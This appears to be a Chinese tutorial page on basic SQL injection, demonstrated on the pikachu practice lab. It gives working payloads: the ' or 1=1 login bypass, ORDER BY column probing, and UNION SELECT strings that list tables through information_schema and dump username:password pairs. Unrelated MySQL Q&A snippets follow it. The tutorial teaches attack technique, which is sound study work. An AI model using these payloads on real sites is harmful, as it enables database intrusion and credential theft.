SQL注入基础

2023-11-04

引言

靓仔们是否经常听到sql注入呢,那么sql注入到底是什么?

引用微软官方的语言来说:

SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成 SQL 语句的任何过程都应进行注入漏洞审阅,因为 SQL Server 将执行其接收到的所有语法有效的查询。 一个有经验的、坚定的攻击者甚至可以操作参数化数据。

那么接下来,让我们来了解一下sql注入是如何产生的。

目录

引言

1. sql注入原理

1.1 sql注入分类

1.2 sql注入流程

1.3 寻找注入点

1.4 注入提交方式

1.5 万能密码

2. SQL注入实操

2.1 寻找注入点

2.2 判断闭合方式

2.3 验证注入漏洞

2.4 判断列数及回显位

2.5 联合查询

2.5.1 查询数据库

2.5.2 *必要知识点

2.5.3 查版本信息

2.5.4 查用户

2.5.5 查表名

2.5.6 查字段名

2.5.7 查数据

3. 数字型(抓包注入)

3.1 测试注入点

3.2 联合查询

3.2.1 查表名

3.2.2 查字段名

3.2.3 查数据


1. sql注入原理

sql注入属于服务端攻击,原理是参数带入给变量时未经过滤直接带入数据库查询

sql注入与操作系统、数据库类型、脚本语言类型无关,与程序员写的源代码有关

1.1 sql注入分类

sql注入可以分为数字型、字符型、搜索型、特殊闭合型、布尔盲注、时间盲注、报错注入等

此篇文章主要展示的是字符型注入和数字型注入,其他类型注入会陆续更新~

1.2 sql注入流程

我们来梳理下sql注入流程

寻找注入点-> 判断闭合方式-> 验证-> 判断列数及回显位-> 取数据

1.3 寻找注入点

一般来讲,在网站中,注入点都存在于可以与数据库交互的地方,如搜索框,登录输入框、更新、查询、删除等

那么我们找到了可能存在注入点的地方,就需要进行测试,这里采用手工测试的方式,帮助各位靓仔们更好的理解。

1.4 注入提交方式

常见的注入提交有:GET提交、POST提交、COOKIE提交

GET提交: 写在url地址栏里

POST提交:(url地址栏中看不到参数)(bp抓包 语句写在报文里,前面没有"?")(分块传输可能会绕过waf)

cookie提交: (bp抓包 语句写在报文里)

http头(忽略不计)

1.5 万能密码

' or 1=1 其原理是使用单引号对前面的语句进行闭合,这样后面的语句就会被当作正常的sql语句解析,而or为或运算符,即使前面的字符不为真,语句也可以正常执行

2. SQL注入实操

2.1 寻找注入点

拿到一个网站,若寻找注入漏洞,第一步就是判断存在与数据库交互的地方,通常有:

登录界面

查询输入框

更新输入框

删除输入框

我们以pikachu靶场的字符型注入为例为例进行演示

首先,从搜索框中输入数据提交,观察url链接变化,若能直接看到参数,则为GET请求,用hackbar可以进行下一步,,若看不到参数,则为POST请求,使用bp抓包进行下一步

发现为GET请求,参数为?name=xx (参数为已经确定存在的数据字段,一般id使用较为广泛,在不知道参数的情况下多数用id来测试)

输入一串不存在的字母并闭合,探测是否会有报错

?参数=afhafgauf'

发现报错,则可能存在sql注入漏洞

或and 1=1、and 1=2

如果前者正常,后者报错,说明语句被带入到了数据库查询

2.2 判断闭合方式

在报错信息中,除去自己输入的内容,可以看到右边闭合方式为双引号 "

2.3 验证注入漏洞

--+在url中会被解析为 --[空格] 其作用是注释掉后面的内容

?参数=afhafgauf' or 1=1--+

此时可以看到查询出了一些数据

2.4 判断列数及回显位

根据上面爆出来的已有信息,已知了部分账号名,使用其中一个名称+order by 1,2,3,4,5...来判断最大列数及回显位(方法不止一种)

?name=vince' order by 1 --+

?name=vince' order by 2 --+

?name=vince' order by 3 --+

执行到3的时候发现没有此列,因此判断为两列

2.5 联合查询

联合查询是连接前后两条查询语句,若前面一条语句查询成功,则后面的一条语句不显示,所以把前面参数的值改为-1表示不存在,这样可以显示出后面的查询语句。

?name=-1' union select 1,2 --+

可以看到回显位是1和2 (在不是回显位的位置上进行查询是不显示结果的)

2.5.1 查询数据库

在2的位置上改为database()

?name=-1' union select 1,database() --+

可以看到当前数据库名为pikachu

2.5.2 *必要知识点

在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如mydb.user表示mydb数据库下的user表名

记录所有表名信息的表 information_schema.tables

记录所有列名信息的表 information_schema.columns

table_name 表名

column_name 列名

table_schema 数据库名

group_concat()

将相同的行组合起来,不使用此函数会导致行数过多无法显示

concat_ws(':',str1,str2)

以指定分隔符的方式将多个字符串连接为一个字符串,适用于只有一个回显位显示账号和密码的情况

分隔符不能为空,否则查出来的数据为空

查数据库版本 select version();

查数据库名字 select database();

查数据库用户 select user();

查操作系统 select @@version_compile_os;

2.5.3 查版本信息

?name=-1' union select 1,version() --+

2.5.4 查用户

?name=-1' union select 1,user() --+

2.5.5 查表名

?name=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

可以看到查询出来的表名,其中包含users用户表

2.5.6 查字段名

?name=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') --+

从users用户表中查询字段,从而得到具体的列名,其中包含了username用户名字段和password密码字段

2.5.7 查数据

在回显位1上查询1

在回显位2上用concat_ws()连接user与password

?name=-1' union select 1,(select group_concat(concat_ws(':',username,password)) from users) --+

密文拿去cmd5解密即可获得信息

演示完了基本的字符型注入,下面演示一下数字型注入

3. 数字型(抓包注入)

3.1 测试注入点

数字型注入流程语句与字符型类似,其不同点是需要burpsuite抓包,在报文中提交注入语句

使用bp抓包,发现存在注入点

测试注入点,and 1--+成功执行 and 1=2报错

注入点可以利用

测试回显位 2可以,3报错

3.2 联合查询

3.2.1 查表名

3.2.2 查字段名

3.2.3 查数据

至此,基本的sql字符型注入和数字型注入就演示完毕,相信各位靓仔已经对sql注入有了一个大致的了解,那么下次我们来说一下其他类型的注入~

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入基础 的相关文章

  • 我应该将标签存储在文本字段还是单独的表中?

    我有一个表 其中的行如下所示 id path tags 1 pictures pic1 jpg car bmw 3 pictures pic2 jpg cat animal pussy 4 pictures pic3 png gun 基本上
  • 如何将Hive数据表迁移到MySql?

    我想知道如何将日期从 Hive 转移到 MySQL 我看过有关如何将 Hive 数据移动到 Amazon DynamoDB 的示例 但没有看到有关如何将 Hive 数据移动到 MySQL 等 RDBMS 的示例 这是我在 DynamoDB
  • varchar(20) 和 varchar(50) 相同吗?

    我看到评论 如果 varchar 20 列中有 5000 万个 10 到 15 个字符之间的值 而 varchar 50 列中有同样的 5000 万个值 它们将占用完全相同的空间 这就是重点varchar 而不是 char 有人可以告诉我原
  • 编写多个mysql脚本

    是否可以在复合脚本中包含其他 mysql 脚本 理想情况下 我不想为包含的脚本创建存储过程 对于较大的项目 我想分层维护几个较小的脚本 然后根据需要组合它们 但现在 我很乐意学习如何包含其他脚本 source是一个内置命令 您可以在 MyS
  • 会话 bean 中的 EntityManager 异常处理

    我有一个托管无状态会话 bean 其中注入了 EntityManager em 我想做的是拥有一个具有唯一列的数据库表 然后我运行一些尝试插入实体的算法 但是 如果实体存在 它将更新它或跳过它 我想要这样的东西 try em persist
  • 尝试在本地主机上测试我的 php 文件,但只出现一个空白页面,没有错误消息

    我正在运行 Apache 和 mySQL 因为我检查了所有日志 似乎没有任何错误 我的目标是每当有新的表单条目时就向特定地址发送电子邮件 我对后端和 PHP 缺乏经验 所以我不太确定哪里出了问题 任何帮助将不胜感激
  • 选择不带 FROM 但有多于一行的选择

    如何在不从现有表中进行选择的情况下生成 2 行 2 列的表 我正在寻找的是一个返回的选择语句 e g id value 1 103 2 556 Use UNION http dev mysql com doc refman 5 0 en u
  • 如何使用Python高效地将CSV文件数据插入MYSQL?

    我有一个带有 aprox 的 CSV 输入文件 400 万条记录 插入已运行超过 2 小时 但仍未完成 数据库仍然是空的 关于如何实际插入值的任何建议 使用insert into 并且更快 比如将插入物分成块 我对 python 还很陌生
  • MySQL:如何获取上次更新的更改

    我正在使用 MySQL 和 PHP 开发数据库应用程序 此时我正在尝试获取上次更新引起的更改 我解决问题的第一个方法是 使用 SELECT 获取 旧 状态 使用 UPDATE 进行更改 使用 SELECT 获取 新 状态 将数组与 php
  • InnoDB 或 MyISAM - 为什么不两者都使用呢?

    我读过各种关于两者之间哪个更好的主题InnoDB and MyISAM 看来争论的都是使用还是其他 根据表的不同 是否不能同时使用两者 这样做会有什么缺点 据我所知 发动机可以在CREATE TABLE命令 因此 某些经常读取的表可以设置为
  • SQL DML:日期值不正确 (MySQL)

    我在数据库中创建了一个表 CREATE TABLE official receipt student no INT UNSIGNED academic year CHAR 8 trimester ENUM 1 2 3 or no MEDIU
  • Mysql 连接到服务器:用户 root@localhost 的访问被拒绝

    edit9 是否有可能我只是缺少文件夹的一些权限 我真的非常非常感谢更多的建议 edit3 由于这篇文章没有得到足够的回复 而且这绝对是至关重要的 我尽快完成这件事 我重建了我的帖子以显示我认为到目前为止我已经扣除的内容 注意 通过许多不同
  • 自定义 php 论坛 - 显示新的/未读的帖子

    我自己使用 php 编写了一个自定义论坛脚本 我决定不使用 phpbb 和其他工具 因为我希望我所做的事情具有 100 的灵活性 不过我遇到了一个问题 如何向用户显示帖子是否是新的 未读的 我想到了两种解决方案 1 饼干 2 数据库 我不想
  • PDO 库比本机 MySQL 函数更快吗?

    我已经阅读了几个与此相关的问题 但我担心它们可能已经过时 因为自这些问题得到解答以来 更新版本的 PDO 库已经发布 我编写了一个 MySQL 类 它构建查询并转义参数 然后根据查询返回结果 目前这个类正在使用内置的mysql函数 我很清楚
  • 规范“毒”方式真的值得吗? (3NF)

    我正处于数据库设计的早期阶段 所以还没有最终的结果 并且我正在为具有可选标签的线程使用 TOXI 3表设计 但我忍不住觉得加入是并不是真的必要 也许我只需要依赖我的简单标签列posts我可以在其中存储类似 varchar 的表
  • 删除重复的 SQL 记录以允许唯一键

    我在 MYSQL 数据库中有一个表 销售 该表理应强制执行唯一约束以防止重复 事实证明 首先删除欺骗并设置约束有点棘手 表结构 简化 id 唯一 autoinc 产品编号 目标是强制product id 的唯一性 我想要应用的重复数据删除策
  • 使用 Laravel Fluent 查询生成器从多个表中进行选择

    我正在重写一些 PHP MySQL 来与 Laravel 一起使用 我想做的一件事是使数据库查询更加简洁使用 Fluent 查询生成器 http laravel com docs database fluent但我有点迷失 SELECT p
  • MySQL ALTER TABLE 挂起

    我知道这个问题已经被问过好几次了 但我的问题发生在我刚刚创建的表上 它只有 10 列和 1 行 因此 与通常的挂起问题不同 这不是具有大量数据的大表的情况 但它仍然挂着 这是我正在运行的 SQL ALTER TABLE db Search
  • 使用mysql数据按高低价格排序

    这是我所拥有的以及我想做的 我的 MySql 数据库中有 12 个项目 4 个产品为 4 99 4 个产品为 3 99 4 个产品为 2 99 我意识到我可以像这样查询数据库 它会给我一个该价格的产品列表
  • TCPDF - 来自 mysql 的打印表显示重复的第一行

    我是 TCPDF 的新手 我面临的小问题是所有输出数据都显示同一行 我的意思是第一条记录重复数据库中存在的总数据 行 的次数 这是我的代码 tbl header

随机推荐

  • Directx11教程三十八之Pick(拾取技术)

    这节教程是关于Pick 拾取技术的 程序的结构如下 在看这节教程前先弄懂 1 大概了解D3D11的渲染流水线 2 D3D11教程三十七之FrustumCulling 视截体裁剪 上半节教程 弄不懂也没关系 两节教程之间有一些联系 但是由于我
  • 完全二叉树——二叉堆(BinaryHeap)

    前言 优先队列是允许至少下列两种操作的数据结构 insert 插入 以及deleteMin 删除最小者 其中deleteMin的工作是找出 返回 并删除优先队列中最小的元素 insert操作等价于enqueue 入队 而deleteMin则
  • Mysql存储引擎

    目录 Mysql有哪些存储引擎 Mysql存储引擎IMyISAM与InnoDB区别 MyISAM索引与InnoDB索引的区别 InnoDB引擎的4大特性 如何选择存储引擎 一张表 里面有ID自增主键 当insert了17条记录以后 删除了第
  • 解决IDEA无法导入Maven项目jar包的问题 - 已解决

    当我们创建Maven项目的时候 经常会出现导入jar包失败的问题 如下图所示 发现我们导入的依赖下面都有红线 解决方法有以下几种 1 有可能是因为我们将 pom的文件忽略了 解决方法 找到 file gt settings gt Build
  • java jbutton数组_java-JButton需要显示图像数组

    我有一组存储在数组中的图像 我需要像幻灯片一样显示它们 下一个和上一个有两个JButton 它们使用户可以查看图像 但是我无法使按钮起作用 有什么建议吗 谢谢 import java awt Graphics import java awt
  • 51行代码实现简单的PHP区块链

    本文原始地址 php区块链demo 今年区块链特别火 我也很火啊 我火什么呢 前几年 公众平台出现 还得花时间去学去看 后来小程序出现 又得花时间精力去学去看 现在比特币 以太坊等去中心化货币带起了区块链的发展 还得学 没办法 技术改变师姐
  • 感冒的一般过程

    http blog sina com cn s blog 7af11b49010136hl html 又感冒了 哎 挺严重 鼻涕流不停 特别畏寒 以前没发现感冒这么可怕 看到一篇关于感冒的文章 粘过来给大家分享一下 以防感冒 感冒 是一种自
  • Python轻松爬取Rosimm写真网站全部图片

    RosimmImage 爬取Rosimm写真网站图片 有图有真相 def main start url 爬虫入口 主要爬取操作 try r requests get url html headers HEADERS timeout 10 t
  • token由来

    https www cnblogs com bigben0123 p 8334824 html
  • compiler之automatic memory management以及Java GC

    基本方案就3种 1 mark and sweep 2 stop and copy 会用到copy graph算法 见leetcode 3 reference counting 前2种方案GC是一个是独立的过程 要先进行扫描 object g
  • Java Portlet 规范概述

    首先 解释几个基本的术语 1 Portal Portal 是一种 web 应用 通常具有个性化 单点登录 来自不同源的内容聚合 aggregation 并提供信息系统表现层等特点 所谓聚合 是指将不同来源的内容整合到一个 web 页面的操作
  • awk传入变量

    for chr in 1 22 do awk v nvar chr print 1 t nvar t 4 t 3 t 4 chr chr LD map gt chr chr LD1 map done
  • js-事件及事件委托

    1 事件 当用户浏览网页时 存在许许多多与网页交互的操作 例如按钮的点击 屏幕的滑动 鼠标的移动等等 通过这些交互完成某些操作 达到某种效果 我们可以将这些交互称之为事件 2 事件冒泡 事件冒泡是指事件在某个元素上触发后一直向上传播 父元素
  • 【个人项目】——细腻的人像分割

    项目地址 segmentation pytorch 前面介绍了 一个人像分割数据集 这里采用该数据做了人像分割的小demo Supervisely 人像分割数据集格式转换 1 测试 1 1 环境采用本机的torch140 1 2 下载预训练
  • 分享网友第一次开发EOS区块链总结的经验

    在处理项目时 用Java Connector for EOS区块链编写 创建钱包 创建帐户 创建交易 创建签名交易 在帐户之间转移代币 我遇到了各种和运行本地EOS节点需要遵循的基本步骤 这个小指南纯粹是为了帮助你启动和运行自己的EOS节点
  • Docker容器内部 DNS 解析失败的问题

    上段时间遇到了 docker 容器内部 dns 解析失败的问题 发现在 docker run 启动容器之后 容器内部访问外部的接口总是提示无法解析 dns 然而容器外部是可以解析的 dns的配置也没有任何问题 用 docker exec i
  • 如何使用CSS画一个三角形

    原理 其实就是规定元素的四个边框颜色及边框宽度 将元素宽高设置为0 如果要哪个方向的三角形 将对应其他三个方向的边框宽和颜色设置为0和透明transparent即可 1 元素设置边框 宽高 背景色 div class border div
  • 启动hadoop时异常:connect to host hadoop002 port 22 Connection refused

    问题描述 今天在搭建hadoop伪分布式集群时 启动hadoop 报如下异常情况 hadoop002 也就我设置的Secondary namenode 拒绝连接 启动Secondary namenode失败 root hadoop1 sta
  • JDK8新特性之Stream流

    目录 一 简介 二 Stream流的应用 2 1 为什么使用stream流 2 2 Stream流的原理 2 3 步骤 2 4 获取Stream流对象的方式 2 5 Stream流的API方法 2 5 1 map 2 5 2 collect
  • SQL注入基础

    引言 靓仔们是否经常听到sql注入呢 那么sql注入到底是什么 引用微软官方的语言来说 SQL 注入是一种攻击方式 在这种攻击方式中 在字符串中插入恶意代码 然后将该字符串传递到 SQL Server 的实例以进行分析和执行 构成 SQL